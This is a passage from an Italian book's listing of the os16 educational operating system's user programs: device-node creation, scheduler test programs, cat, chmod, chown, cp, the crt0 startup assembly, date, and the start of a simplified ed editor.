107.1.4 applic/cat.c 6462
107.1.5 applic/ccc.c 6464
107.1.6 applic/chmod.c 6465
107.1.7 applic/chown.c 6466
107.1.8 applic/cp.c 6468
107.1.9 applic/crt0.s 6472
107.1.10 applic/date.c 6475
107.1.11 applic/ed.c 6477
107.1.12 applic/getty.c 6506
107.1.13 applic/init.c 6508
107.1.14 applic/kill.c 6512
107.1.15 applic/ln.c 6516
107.1.16 applic/login.c 6519
107.1.17 applic/ls.c 6522
107.1.18 applic/man.c 6529
107.1.19 applic/mkdir.c 6534
107.1.20 applic/more.c 6538
107.1.21 applic/mount.c 6543
107.1.22 applic/ps.c 6544
107.1.23 applic/rm.c 6546
107.1.24 applic/shell.c 6547
107.1.25 applic/touch.c 6552
107.1.26 applic/tty.c 6554
107.1.27 applic/umount.c 6555

107.1 os16: directory «applic/»

107.1.1 applic/MAKEDEV.c

«

Si veda la sezione 103.3.

```
4150001 #include <unistd.h>
4150002 #include <stdlib.h>
4150003 #include <sys/stat.h>
4150004 #include <fcntl.h>
4150005 #include <kernel/devices.h>
4150006 #include <stdio.h>
4150007 //----------------------------------------------------------------------
4150008 int
4150009 main (void)
4150010 {
4150011     int status;
4150012     status = mknod ("mem",        (mode_t) (S_IFCHR | 0444),
4150013                     (dev_t) DEV_MEM);
4150014     if (status) perror (NULL);
4150015     status = mknod ("null",       (mode_t) (S_IFCHR | 0666),
4150016                     (dev_t) DEV_NULL);
4150017     if (status) perror (NULL);
4150018     status = mknod ("port",       (mode_t) (S_IFCHR | 0644),
4150019                     (dev_t) DEV_PORT);
4150020     if (status) perror (NULL);
4150021     status = mknod ("zero",       (mode_t) (S_IFCHR | 0666),
4150022                     (dev_t) DEV_ZERO);
4150023     if (status) perror (NULL);
4150024     status = mknod ("tty",        (mode_t) (S_IFCHR | 0666),
4150025                     (dev_t) DEV_TTY);
4150026     if (status) perror (NULL);
4150027     status = mknod ("dsk0",       (mode_t) (S_IFBLK | 0644),
4150028                     (dev_t) DEV_DSK0);
4150029     if (status) perror (NULL);
4150030     status = mknod ("dsk1",       (mode_t) (S_IFBLK | 0644),
4150031                     (dev_t) DEV_DSK1);
4150032     if (status) perror (NULL);
4150033     status = mknod ("dsk2",       (mode_t) (S_IFBLK | 0644),
4150034                     (dev_t) DEV_DSK2);
4150035     if (status) perror (NULL);
4150036     status = mknod ("dsk3",       (mode_t) (S_IFBLK | 0644),
4150037                     (dev_t) DEV_DSK3);
4150038     if (status) perror (NULL);
4150039     status = mknod ("kmem_ps",    (mode_t) (S_IFCHR | 0444),
4150040                     (dev_t) DEV_KMEM_PS);
4150041     if (status) perror (NULL);
4150042     status = mknod ("kmem_mmp",   (mode_t) (S_IFCHR | 0444),
4150043                     (dev_t) DEV_KMEM_MMP);
4150044     if (status) perror (NULL);
4150045     status = mknod ("kmem_sb",    (mode_t) (S_IFCHR | 0444),
4150046                     (dev_t) DEV_KMEM_SB);
4150047     if (status) perror (NULL);
4150048     status = mknod ("kmem_inode", (mode_t) (S_IFCHR | 0444),
4150049                     (dev_t) DEV_KMEM_INODE);
```

```
4150050     if (status) perror (NULL);
4150051     status = mknod ("kmem_file",  (mode_t) (S_IFCHR | 0444),
4150052                     (dev_t) DEV_KMEM_FILE);
4150053     if (status) perror (NULL);
4150054     status = mknod ("console",    (mode_t) (S_IFCHR | 0644),
4150055                     (dev_t) DEV_CONSOLE);
4150056     if (status) perror (NULL);
4150057     status = mknod ("console0",   (mode_t) (S_IFCHR | 0644),
4150058                     (dev_t) DEV_CONSOLE0);
4150059     if (status) perror (NULL);
4150060     status = mknod ("console1",   (mode_t) (S_IFCHR | 0644),
4150061                     (dev_t) DEV_CONSOLE1);
4150062     if (status) perror (NULL);
4150063     status = mknod ("console2",   (mode_t) (S_IFCHR | 0644),
4150064                     (dev_t) DEV_CONSOLE2);
4150065     if (status) perror (NULL);
4150066     status = mknod ("console3",   (mode_t) (S_IFCHR | 0644),
4150067                     (dev_t) DEV_CONSOLE3);
4150068     if (status) perror (NULL);
4150069
4150070     return (0);
4150071 }
```

107.1.2 applic/aaa.c

Si veda la sezione 97.1.

```
4160001 #include <unistd.h>
4160002 #include <stdio.h>
4160003 //----------------------------------------------------------------------
4160004 int
4160005 main (void)
4160006 {
4160007     unsigned int count;
4160008     for (count = 0; count < 60; count++)
4160009       {
4160010         printf ("a");
4160011         sleep (1);
4160012       }
4160013     return (8);
4160014 }
```

107.1.3 applic/bbb.c

Si veda la sezione 97.1.

```
4170001 #include <unistd.h>
4170002 #include <stdio.h>
4170003 #include <stdlib.h>
4170004 //----------------------------------------------------------------------
4170005 int
4170006 main (void)
4170007 {
4170008     unsigned int count;
4170009     for (count = 0; count < 30; count++)
4170010       {
4170011         printf ("b");
4170012         sleep (2);
4170013       }
4170014     exit (0);
4170015     return (0);
4170016 }
```

107.1.4 applic/cat.c

Si veda la sezione 97.3.

```
4180001 #include <fcntl.h>
4180002 #include <sys/stat.h>
4180003 #include <stddef.h>
4180004 #include <unistd.h>
4180005 #include <stdio.h>
4180006 #include <stdlib.h>
4180007 #include <errno.h>
4180008 //----------------------------------------------------------------------
4180009 static void cat_file_descriptor (int fd);
4180010 //----------------------------------------------------------------------
4180011 int
4180012 main (int argc, char *argv[], char *envp[])
4180013 {
4180014     int         i;
4180015     int         fd;
4180016     struct stat file_status;
4180017     //
4180018     // Check if the input comes from standard input.
4180019     //
4180020     if (argc < 2)
4180021       {
4180022         cat_file_descriptor (STDIN_FILENO);
4180023         exit (0);
4180024       }
4180025     //
4180026     // There is at least an argument: scan them.
```

```
4180027     //
4180028     for(i = 1; i < argc; i++)
4180029       {
4180030         //
4180031         // Verify if the file exists.
4180032         //
4180033         if (stat(argv[i], &file_status) != 0)
4180034           {
4180035             fprintf (stderr, "File \"%s\" does not exist!\n",
4180036                      argv[i]);
4180037             continue;
4180038           }
4180039         //
4180040         // File exists: check the file type.
4180041         //
4180042         if (S_ISDIR (file_status.st_mode))
4180043           {
4180044             fprintf (stderr, "Cannot \"cat\" "
4180045                              "\"%s\": it is a directory!\n",
4180046                      argv[i]);
4180047             continue;
4180048           }
4180049         //
4180050         // File exists and can be "cat"ed.
4180051         //
4180052         fd = open (argv[i], O_RDONLY);
4180053         if (fd >= 0)
4180054           {
4180055             cat_file_descriptor (fd);
4180056             close (fd);
4180057           }
4180058         else
4180059           {
4180060             perror (NULL);
4180061             exit (1);
4180062           }
4180063       }
4180064     return (0);
4180065 }
4180066 //----------------------------------------------------------------------
4180067 static void
4180068 cat_file_descriptor (int fd)
4180069 {
4180070     ssize_t count;
4180071     char buffer[BUFSIZ];
4180072
4180073     for (;;)
4180074       {
4180075         count = read (fd, buffer, (size_t) BUFSIZ);
4180076         if (count > 0)
4180077           {
4180078             write (STDOUT_FILENO, buffer, (size_t) count);
```

```
4180079             }
4180080           else
4180081             {
4180082               break;
4180083             }
4180084         }
4180085 }
4180086
```

107.1.5 applic/ccc.c

Si veda la sezione 97.1.

```
4190001 #include <unistd.h>
4190002 #include <stdlib.h>
4190003 #include <signal.h>
4190004 //----------------------------------------------------------------------
4190005 int
4190006 main (void)
4190007 {
4190008     pid_t        pid;
4190009     //------------------------------------------------------------------
4190010     pid = fork ();
4190011     if (pid == 0)
4190012       {
4190013         setuid ((uid_t) 10);
4190014         execve ("/bin/aaa", NULL, NULL);
4190015         exit (0);
4190016       }
4190017     //------------------------------------------------------------------
4190018     pid = fork ();
4190019     if (pid == 0)
4190020       {
4190021         setuid ((uid_t) 11);
4190022         execve ("/bin/bbb", NULL, NULL);
4190023         exit (0);
4190024       }
4190025     //------------------------------------------------------------------
4190026     while (1)
4190027       {
4190028         ; // Just loop, to consume CPU time: it must be killed manually.
4190029       }
4190030     return (0);
4190031 }
```

107.1.6 applic/chmod.c

Si veda la sezione 97.5.

```
4200001 #include <unistd.h>
4200002 #include <stdlib.h>
4200003 #include <sys/stat.h>
4200004 #include <sys/types.h>
4200005 #include <fcntl.h>
4200006 #include <errno.h>
4200007 #include <signal.h>
4200008 #include <stdio.h>
4200009 #include <sys/wait.h>
4200010 #include <stdio.h>
4200011 #include <string.h>
4200012 #include <limits.h>
4200013 #include <sys/os16.h>
4200014 //----------------------------------------------------------------------
4200015 static void usage (void);
4200016 //----------------------------------------------------------------------
4200017 int
4200018 main (int argc, char *argv[], char *envp[])
4200019 {
4200020     int     status;
4200021     mode_t  mode;
4200022     char    *m;          // Pointer inside the octal mode string.
4200023     int     digit;
4200024     int     a;           // Argument index.
4200025     //
4200026     //
4200027     //
4200028     if (argc < 3)
4200029       {
4200030         usage ();
4200031         return (1);
4200032       }
4200033     //
4200034     // Get mode: must be the first argument.
4200035     //
4200036     for (m = argv[1]; *m != 0; m++)
4200037       {
4200038         digit = (*m - '0');
4200039         if (digit < 0 || digit > 7)
4200040           {
4200041             usage ();
4200042             return (2);
4200043           }
4200044         mode = mode * 8 + digit;
4200045       }
4200046     //
4200047     // System call for all the remaining arguments.
4200048     //
4200049     for (a = 2; a < argc; a++)
```

```
4200050         {
4200051           status = chmod (argv[a], mode);
4200052           if (status != 0)
4200053             {
4200054               perror (argv[a]);
4200055               return (3);
4200056             }
4200057         }
4200058       //
4200059       // All done.
4200060       //
4200061       return (0);
4200062   }
4200063   //----------------------------------------------------------------------
4200064   static void
4200065   usage (void)
4200066   {
4200067       fprintf (stderr, "Usage:   chmod OCTAL_MODE FILE...\n");
4200068       fprintf (stderr, "Example: chmod 0640 my_file\n");
4200069   }
```

107.1.7 applic/chown.c

Si veda la sezione 97.6.

```
4210001   #include <unistd.h>
4210002   #include <stdlib.h>
4210003   #include <sys/stat.h>
4210004   #include <sys/types.h>
4210005   #include <fcntl.h>
4210006   #include <errno.h>
4210007   #include <stdio.h>
4210008   #include <ctype.h>
4210009   #include <pwd.h>
4210010   //----------------------------------------------------------------------
4210011   static void usage (void);
4210012   //----------------------------------------------------------------------
4210013   int
4210014   main (int argc, char *argv[], char *envp[])
4210015   {
4210016       char            *user;
4210017       int              uid;
4210018       struct passwd   *pws;
4210019       struct stat      file_status;
4210020       int              a;           // Argument index.
4210021       int              status;
4210022       //
4210023       //
4210024       //
4210025       if (argc < 3)
4210026         {
```

```
4210027             usage ();
4210028             return (1);
4210029           }
4210030         //
4210031         // Get user id number.
4210032         //
4210033         user = argv[1];
4210034         if (isdigit (*user))
4210035           {
4210036             uid = atoi (user);
4210037           }
4210038         else
4210039           {
4210040             pws = getpwnam (user);
4210041             if (pws == NULL)
4210042               {
4210043                 fprintf(stderr, "Unknown user \"%s\"!\n", user);
4210044                 return(2);
4210045               }
4210046             uid = pws->pw_uid;
4210047           }
4210048         //
4210049         // Now we have the user id. Start scanning file names.
4210050         //
4210051         for (a = 2; a < argc; a++)
4210052           {
4210053             //
4210054             // Verify if the file exists, through the return value of
4210055             // `stat()'. No other checks are made.
4210056             //
4210057             if (stat(argv[a], &file_status) == 0)
4210058              {
4210059                 //
4210060                 // Try to change ownership.
4210061                 //
4210062                 status = chown (argv[a], uid, file_status.st_gid);
4210063                 if (status != 0)
4210064                   {
4210065                     perror (NULL);
4210066                     return (3);
4210067                   }
4210068               }
4210069             else
4210070               {
4210071                 fprintf (stderr, "File \"%s\" does not exist!\n",
4210072                          argv[a]);
4210073                 continue;
4210074               }
4210075           }
4210076         //
4210077         // All done.
4210078         //
```

```
4210079     return (0);
4210080 }
4210081 //----------------------------------------------------------------------
4210082 static void
4210083 usage (void)
4210084 {
4210085     fprintf (stderr, "Usage:   chown USER|UID FILE...\n");
4210086     fprintf (stderr, "Example: chown user my_file\n");
4210087 }
```

107.1.8 applic/cp.c

Si veda la sezione 97.7.

```
4220001 #include <sys/os16.h>
4220002 #include <sys/stat.h>
4220003 #include <sys/types.h>
4220004 #include <unistd.h>
4220005 #include <stdlib.h>
4220006 #include <fcntl.h>
4220007 #include <errno.h>
4220008 #include <signal.h>
4220009 #include <stdio.h>
4220010 #include <string.h>
4220011 #include <limits.h>
4220012 #include <libgen.h>
4220013 //----------------------------------------------------------------------
4220014 static void usage (void);
4220015 //----------------------------------------------------------------------
4220016 int
4220017 main (int argc, char *argv[], char *envp[])
4220018 {
4220019     char       *source;
4220020     char       *destination;
4220021     char       *destination_full;
4220022     struct stat file_status;
4220023     int         dest_is_a_dir = 0;
4220024     int         a;                      // Argument index.
4220025     char        path[PATH_MAX];
4220026     int         fd_source      = -1;
4220027     int         fd_destination = -1;
4220028     char        buffer_in[BUFSIZ];
4220029     char       *buffer_out;
4220030     ssize_t     count_in;             // Read counter.
4220031     ssize_t     count_out;            // Write counter.
4220032     //
4220033     // There must be at least two arguments, plus the program name.
4220034     //
4220035     if (argc < 3)
4220036       {
4220037         usage ();
```

```
4220038             return (1);
4220039           }
4220040         //
4220041         // Select the last argument as the destination.
4220042         //
4220043         destination = argv[argc-1];
4220044         //
4220045         // Check if it is a directory and save it in a flag.
4220046         //
4220047         if (stat (destination, &file_status) == 0)
4220048           {
4220049             if (S_ISDIR (file_status.st_mode))
4220050               {
4220051                 dest_is_a_dir = 1;
4220052               }
4220053           }
4220054         //
4220055         // If there are more than two arguments, verify that the last
4220056         // one is a directory.
4220057         //
4220058         if (argc > 3)
4220059           {
4220060             if (!dest_is_a_dir)
4220061               {
4220062                 usage ();
4220063                 fprintf (stderr, "The destination \"%s\" ",
4220064                          destination);
4220065                 fprintf (stderr, "is not a directory!\n");
4220066                 return (1);
4220067               }
4220068           }
4220069         //
4220070         // Scan the arguments, excluded the last, that is the destination.
4220071         //
4220072         for (a = 1; a < (argc - 1); a++)
4220073           {
4220074             //
4220075             // Source.
4220076             //
4220077             source = argv[a];
4220078             //
4220079             // Verify access permissions.
4220080             //
4220081             if (access (source, R_OK) < 0)
4220082               {
4220083                 perror (source);
4220084                 continue;
4220085               }
4220086             //
4220087             // Destination.
4220088             //
4220089             // If it is a directory, the destination path
```

```
4220090            // must be corrected.
4220091            //
4220092            if (dest_is_a_dir)
4220093              {
4220094                path[0] = 0;
4220095                strcat (path, destination);
4220096                strcat (path, "/");
4220097                strcat (path, basename (source));
4220098                //
4220099                // Update the destination path.
4220100                //
4220101                destination_full = path;
4220102              }
4220103            else
4220104              {
4220105                destination_full = destination;
4220106              }
4220107            //
4220108            // Check if destination file exists.
4220109            //
4220110            if (stat (destination_full, &file_status) == 0)
4220111              {
4220112                fprintf (stderr, "The destination file, \"%s\", ",
4220113                         destination_full);
4220114                fprintf (stderr, "already exists!\n");
4220115                continue;
4220116              }
4220117            //
4220118            // Everything is ready for the copy.
4220119            //
4220120            fd_source = open (source, O_RDONLY);
4220121            if (fd_source < 0)
4220122              {
4220123                perror (source);
4220124                //
4220125                // Continue with the next file.
4220126                //
4220127                continue;
4220128              }
4220129            //
4220130            fd_destination = creat (destination_full, 0777);
4220131            if (fd_destination < 0)
4220132              {
4220133                perror (destination);
4220134                close (fd_source);
4220135                //
4220136                // Continue with the next file.
4220137                //
4220138                continue;
4220139              }
4220140            //
4220141            // Copy the data.
```

```
4220142         //
4220143         while (1)
4220144           {
4220145             count_in = read (fd_source, buffer_in, (size_t) BUFSIZ);
4220146             if (count_in > 0)
4220147               {
4220148                 for (buffer_out = buffer_in; count_in > 0;)
4220149                   {
4220150                     count_out = write (fd_destination, buffer_out,
4220151                                           (size_t) count_in);
4220152                     if (count_out < 0)
4220153                       {
4220154                         perror (destination);
4220155                         close (fd_source);
4220156                         close (fd_destination);
4220157                         return (3);
4220158                       }
4220159                     //
4220160                     // If not all data is written, continue writing,
4220161                     // but change the buffer start position and the
4220162                     // amount to be written.
4220163                     //
4220164                     buffer_out += count_out;
4220165                     count_in -= count_out;
4220166                   }
4220167               }
4220168             else if (count_in < 0)
4220169               {
4220170                 perror (source);
4220171                 close (fd_source);
4220172                 close (fd_destination);
4220173               }
4220174             else
4220175               {
4220176                 break;
4220177               }
4220178           }
4220179         //
4220180         if (close (fd_source))
4220181           {
4220182             perror (source);
4220183           }
4220184         if (close (fd_destination))
4220185           {
4220186             perror (destination);
4220187             return (4);
4220188           }
4220189       }
4220190     //
4220191     // All done.
4220192     //
4220193     return (0);
```

```
4220194 }
4220195 //----------------------------------------------------------------------
4220196 static void
4220197 usage (void)
4220198 {
4220199     fprintf (stderr, "Usage: cp OLD_NAME NEW_NAME\n");
4220200     fprintf (stderr, "       cp FILE... DIRECTORY\n");
4220201 }
```

107.1.9 applic/crt0.s

Si veda la sezione 95.9.2.

```
4230001 .extern _main
4230002 .extern __stdio_stream_setup
4230003 .extern __dirent_directory_stream_setup
4230004 .extern __atexit_setup
4230005 .extern __environment_setup
4230006 .global ___mkargv
4230007 ;-----------------------------------------------------------------------
4230008 ; Please note that, all segments are already set from the scheduler,
4230009 ; and there is also data inside the stack, so that the call to 'main()'
4230010 ; function will result as expected.
4230011 ;
4230012 ; This is a modified version of 'crt0.s' with a smaller stack size.
4230013 ;-----------------------------------------------------------------------
4230014 ; The following statement says that the code will start at "startup"
4230015 ; label.
4230016 ;-----------------------------------------------------------------------
4230017 entry startup
4230018 ;-----------------------------------------------------------------------
4230019 .text
4230020 ;-----------------------------------------------------------------------
4230021 startup:
4230022     ;
4230023     ; Jump after initial data.
4230024     ;
4230025     jmp startup_code
4230026     ;
4230027 filler:
4230028     ;
4230029     ; After four bytes, from the start, there is the
4230030     ; magic number and other data.
4230031     ;
4230032     .space (0x0004 - (filler - startup))
4230033     ;
4230034 magic:
4230035     .data4 0x6F733136   ; os16
4230036     .data4 0x6170706C   ; appl
4230037     ;
4230038 segoff:                 ;
```

```
4230039     .data2 __segoff     ; Data segment offset.
4230040 etext:                  ;
4230041     .data2 __etext      ; End of code
4230042 edata:                  ;
4230043     .data2 __edata      ; End of initialized data.
4230044 ebss:                   ;
4230045     .data2 __end        ; End of not initialized data.
4230046 stack_size:             ;
4230047     .data2 0x2000       ; Requested stack size. Every single application
4230048                         ; might change this value.
4230049     ;
4230050     ; At the next label, the work begins.
4230051     ;
4230052 .align 2
4230053 startup_code:
4230054     ;
4230055     ; Before the call to the main function, it is necessary to extract
4230056     ; the value to assign to the global variable 'environ'. It is
4230057     ; described as 'char **environ' and should contain the same address
4230058     ; pointed by 'envp'. To get this value, the stack is popped and then
4230059     ; pushed again. Please recall that the stack was prepared from
4230060     ; the process management, at the 'exec()' system call.
4230061     ;
4230062     pop ax              ; argc
4230063     pop bx              ; argv
4230064     pop cx              ; envp
4230065     mov _environ, cx    ; Variable 'environ' comes from <unistd.h>.
4230066     push cx
4230067     push bx
4230068     push ax
4230069     ;
4230070     ; Could it be enough? Of course not! To be able to handle the
4230071     ; environment, it must be copied inside the table
4230072     ; '_environment_table[][]', that is defined inside <stdlib.h>.
4230073     ; To copy the environment it is used the function
4230074     ; '_environment_setup()', passing the 'envp' pointer.
4230075     ;
4230076     push cx
4230077     call __environment_setup
4230078     add  sp, #2
4230079     ;
4230080     ; After the environment copy is done, the value for the traditional
4230081     ; variable 'environ' is updated, to point to the new array of
4230082     ; pointer. The updated value comes from variable '_environment',
4230083     ; defined inside <stdlib.h>. Then, also the 'argv' contained inside
4230084     ; the stack is replaced with the new value.
4230085     ;
4230086     mov  ax, #__environment
4230087     mov  _environ, ax
4230088     ;
4230089     pop ax              ; argc
4230090     pop bx              ; argv[][]
```

```
4230091     pop cx              ; envp[][]
4230092     mov cx, #__environment
4230093     push cx
4230094     push bx
4230095     push ax
4230096     ;
4230097     ; Setup standard I/O streams and at-exit table.
4230098     ;
4230099     call __stdio_stream_setup
4230100     call __dirent_directory_stream_setup
4230101     call __atexit_setup
4230102     ;
4230103     ; Call the main function. The arguments are already pushed inside
4230104     ; the stack.
4230105     ;
4230106     call _main
4230107     ;
4230108     ; Save the return value at the symbol `exit_value'.
4230109     ;
4230110     mov  exit_value, ax
4230111     ;
4230112 .align 2
4230113 halt:
4230114     ;
4230115     push #2             ; Size of message.
4230116     push #exit_value    ; Pointer to the message.
4230117     push #6             ; SYS_EXIT
4230118     call _sys
4230119     add  sp, #2
4230120     add  sp, #2
4230121     add  sp, #2
4230122     ;
4230123     jmp halt
4230124     ;
4230125 ;------------------------------------------------------------------------
4230126 .align 2
4230127 ___mkargv:      ; Symbol `___mkargv' is used by Bcc inside the function
4230128     ret         ; `main()' and must be present for a successful
4230129                 ; compilation.
4230130 ;------------------------------------------------------------------------
4230131 .align 2
4230132 .data
4230133 ;
4230134 exit_value:
4230135     .data2 0x0000
4230136 ;------------------------------------------------------------------------
4230137 .align 2
4230138 .bss
```

107.1.10 applic/date.c

Si veda la sezione 97.8.

```
4240001 #include <unistd.h>
4240002 #include <stdlib.h>
4240003 #include <errno.h>
4240004 #include <time.h>
4240005 #include <ctype.h>
4240006 //----------------------------------------------------------------------
4240007 static void  usage          (void);
4240008 //----------------------------------------------------------------------
4240009 int
4240010 main (int argc, char *argv[], char *envp[])
4240011 {
4240012     struct tm *timeptr;
4240013     char       string[5];
4240014     time_t     timer;
4240015     int        length;
4240016     char      *input;
4240017     int        i;
4240018     //
4240019     // There can be at most an argument.
4240020     //
4240021     if (argc > 2)
4240022       {
4240023         usage ();
4240024         return (1);
4240025       }
4240026     //
4240027     // Check if there is no argument: must show the date.
4240028     //
4240029     if (argc == 1)
4240030       {
4240031         timer = time (NULL);
4240032         printf ("%s\n", ctime (&timer));
4240033         return (0);
4240034       }
4240035     //
4240036     // There is one argument and must be the date do set.
4240037     //
4240038     input = argv[1];
4240039     //
4240040     // First get current date, for default values.
4240041     //
4240042     timer   = time (NULL);
4240043     timeptr = gmtime (&timer);
4240044     //
4240045     // Verify to have a correct input.
4240046     //
4240047     length = (int) strlen (input);
4240048     if (length == 8 || length == 10 || length == 12)
4240049       {
```

```
4240050             for (i = 0; i < length; i++)
4240051               {
4240052                 if (!isdigit (input[i]))
4240053                   {
4240054                     usage ();
4240055                     return (2);
4240056                   }
4240057               }
4240058           }
4240059         else
4240060           {
4240061             printf ("input: \"%s\"; length: %i\n", input, length);
4240062             usage ();
4240063             return (3);
4240064           }
4240065         //
4240066         // Select the month.
4240067         //
4240068         string[0] = input[0];
4240069         string[1] = input[1];
4240070         string[2] = '\0';
4240071         timeptr->tm_mon = atoi (string);
4240072         //
4240073         // Select the day.
4240074         //
4240075         string[0] = input[2];
4240076         string[1] = input[3];
4240077         string[2] = '\0';
4240078         timeptr->tm_mday = atoi (string);
4240079         //
4240080         // Select the hour.
4240081         //
4240082         string[0] = input[4];
4240083         string[1] = input[5];
4240084         string[2] = '\0';
4240085         timeptr->tm_hour = atoi (string);
4240086         //
4240087         // Select the minute.
4240088         //
4240089         string[0] = input[6];
4240090         string[1] = input[7];
4240091         string[2] = '\0';
4240092         timeptr->tm_min = atoi (string);
4240093         //
4240094         // Select the year: must verify if there is a century.
4240095         //
4240096         if (length == 12)
4240097           {
4240098             string[0] = input[8];
4240099             string[1] = input[9];
4240100             string[2] = input[10];
4240101             string[3] = input[11];
```

```
4240102            string[4] = '\0';
4240103            timeptr->tm_year = atoi (string);
4240104          }
4240105        else if (length == 10)
4240106          {
4240107            sprintf (string, "%04i", timeptr->tm_year);
4240108            string[2] = input[8];
4240109            string[3] = input[9];
4240110            string[4] = '\0';
4240111            timeptr->tm_year = atoi (string);
4240112          }
4240113        //
4240114        // Now convert to 'time_t'.
4240115        //
4240116        timer = mktime (timeptr);
4240117        //
4240118        // Save to the system.
4240119        //
4240120        stime (&timer);
4240121        //
4240122        return (0);
4240123    }
4240124    //----------------------------------------------------------------------
4240125    static void
4240126    usage (void)
4240127    {
4240128        fprintf (stderr, "Usage: date [MMDDHHMM[[CC]YY]]\n");
4240129    }
```

107.1.11 applic/ed.c

Si veda la sezione 97.9.

```
4250001    //----------------------------------------------------------------------
4250002    // 2009.08.18
4250003    // Modified by Daniele Giacomini for 'os16', to harmonize with it,
4250004    // even, when possible, on coding style.
4250005    //
4250006    // The original was taken form ELKS sources: 'elkscmd/misc_utils/ed.c'.
4250007    //----------------------------------------------------------------------
4250008    //
4250009    // Copyright (c) 1993 by David I. Bell
4250010    // Permission is granted to use, distribute, or modify this source,
4250011    // provided that this copyright notice remains intact.
4250012    //
4250013    // The "ed" built-in command (much simplified)
4250014    //
4250015    //----------------------------------------------------------------------
4250016
4250017    #include <stdio.h>
4250018    #include <ctype.h>
```

```
4250019 #include <unistd.h>
4250020 #include <stdbool.h>
4250021 #include <string.h>
4250022 #include <stdlib.h>
4250023 #include <fcntl.h>
4250024 //----------------------------------------------------------------------
4250025 #define isoctal(ch)  (((ch) >= '0') && ((ch) <= '7'))
4250026 #define USERSIZE     1024       /* max line length typed in by user */
4250027 #define INITBUFSIZE  1024       /* initial buffer size */
4250028 //----------------------------------------------------------------------
4250029 typedef int num_t;
4250030 typedef int len_t;
4250031 //
4250032 // The following is the type definition of structure `line_t', but the
4250033 // structure contains pointers to the same kind of type. With the
4250034 // compiler Bcc, it is the only way to declare it.
4250035 //
4250036 typedef struct line line_t;
4250037 //
4250038 struct line {
4250039     line_t *next;
4250040     line_t *prev;
4250041     len_t   len;
4250042     char    data[1];
4250043 };
4250044 //
4250045 static  line_t  lines;
4250046 static  line_t *curline;
4250047 static  num_t   curnum;
4250048 static  num_t   lastnum;
4250049 static  num_t   marks[26];
4250050 static  bool    dirty;
4250051 static  char    *filename;
4250052 static  char    searchstring[USERSIZE];
4250053 //
4250054 static  char   *bufbase;
4250055 static  char   *bufptr;
4250056 static  len_t   bufused;
4250057 static  len_t   bufsize;
4250058 //----------------------------------------------------------------------
4250059 static  void    docommands  (void);
4250060 static  void    subcommand  (char *cp, num_t num1, num_t num2);
4250061 static  bool    getnum      (char **retcp, bool *rethavenum,
4250062                              num_t *retnum);
4250063 static  bool    setcurnum   (num_t num);
4250064 static  bool    initedit    (void);
4250065 static  void    termedit    (void);
4250066 static  void    addlines    (num_t num);
4250067 static  bool    insertline  (num_t num, char *data, len_t len);
4250068 static  bool    deletelines (num_t num1, num_t num2);
4250069 static  bool    printlines  (num_t num1, num_t num2, bool expandflag);
4250070 static  bool    writelines  (char *file, num_t num1, num_t num2);
```

```
4250071 static  bool    readlines   (char *file, num_t num);
4250072 static  num_t   searchlines (char *str, num_t num1, num_t num2);
4250073 static  len_t   findstring  (line_t *lp, char *str, len_t len,
4250074                               len_t offset);
4250075 static  line_t *findline    (num_t num);
4250076 //----------------------------------------------------------------------
4250077 // Main.
4250078 //----------------------------------------------------------------------
4250079 int
4250080 main (int argc, char *argv[], char *envp[])
4250081 {
4250082     if (!initedit ()) return (2);
4250083     //
4250084     if (argc > 1)
4250085       {
4250086         filename = strdup (argv[1]);
4250087         if (filename == NULL)
4250088           {
4250089             fprintf (stderr, "No memory\n");
4250090             termedit ();
4250091             return (1);
4250092           }
4250093         //
4250094         if (!readlines (filename, 1))
4250095           {
4250096             termedit ();
4250097             return (0);
4250098           }
4250099         //
4250100         if (lastnum) setcurnum(1);
4250101         //
4250102         dirty = false;
4250103       }
4250104     //
4250105     docommands ();
4250106     //
4250107     termedit ();
4250108     return (0);
4250109 }
4250110 //----------------------------------------------------------------------
4250111 // Read commands until we are told to stop.
4250112 //----------------------------------------------------------------------
4250113 void
4250114 docommands (void)
4250115 {
4250116     char    *cp;
4250117     int      len;
4250118     num_t    num1;
4250119     num_t    num2;
4250120     bool     have1;
4250121     bool     have2;
4250122     char     buf[USERSIZE];
```

```
4250123     //
4250124     while (true)
4250125       {
4250126         printf(": ");
4250127         fflush (stdout);
4250128         //
4250129         if (fgets (buf, sizeof(buf), stdin) == NULL)
4250130           {
4250131             return;
4250132           }
4250133         //
4250134         len = strlen (buf);
4250135         if (len == 0)
4250136           {
4250137             return;
4250138           }
4250139         //
4250140         cp = &buf[len - 1];
4250141         if (*cp != '\n')
4250142           {
4250143             fprintf(stderr, "Command line too long\n");
4250144             do
4250145               {
4250146                 len = fgetc(stdin);
4250147               }
4250148             while ((len != EOF) && (len != '\n'));
4250149             //
4250150             continue;
4250151           }
4250152         //
4250153         while ((cp > buf) && isblank (cp[-1]))
4250154           {
4250155             cp--;
4250156           }
4250157         //
4250158         *cp = '\0';
4250159         //
4250160         cp = buf;
4250161         //
4250162         while (isblank (*cp))
4250163           {
4250164             //*cp++;
4250165             cp++;
4250166           }
4250167         //
4250168         have1 = false;
4250169         have2 = false;
4250170         //
4250171         if ((curnum == 0) && (lastnum > 0))
4250172           {
4250173             curnum = 1;
4250174             curline = lines.next;
```

```
4250175             }
4250176           //
4250177           if (!getnum (&cp, &have1, &num1))
4250178             {
4250179               continue;
4250180             }
4250181           //
4250182           while (isblank (*cp))
4250183             {
4250184               cp++;
4250185             }
4250186           //
4250187           if (*cp == ',')
4250188             {
4250189               cp++;
4250190               if (!getnum (&cp, &have2, &num2))
4250191                 {
4250192                   continue;
4250193                 }
4250194               //
4250195               if (!have1)
4250196                 {
4250197                   num1 = 1;
4250198                 }
4250199               if (!have2)
4250200                 {
4250201                   num2 = lastnum;
4250202                 }
4250203               have1 = true;
4250204               have2 = true;
4250205             }
4250206           //
4250207           if (!have1)
4250208             {
4250209               num1 = curnum;
4250210             }
4250211           if (!have2)
4250212             {
4250213               num2 = num1;
4250214             }
4250215           //
4250216           // Command interpretation switch.
4250217           //
4250218           switch (*cp++)
4250219             {
4250220               case 'a':
4250221                   addlines (num1 + 1);
4250222                   break;
4250223                   //
4250224               case 'c':
4250225                   deletelines (num1, num2);
4250226                   addlines (num1);
```

```
4250227                     break;
4250228                     //
4250229                 case 'd':
4250230                     deletelines (num1, num2);
4250231                     break;
4250232                     //
4250233                 case 'f':
4250234                     if (*cp && !isblank (*cp))
4250235                       {
4250236                         fprintf (stderr, "Bad file command\n");
4250237                         break;
4250238                       }
4250239                     //
4250240                     while (isblank (*cp))
4250241                       {
4250242                         cp++;
4250243                       }
4250244                     if (*cp == '\0')
4250245                       {
4250246                         if (filename)
4250247                           {
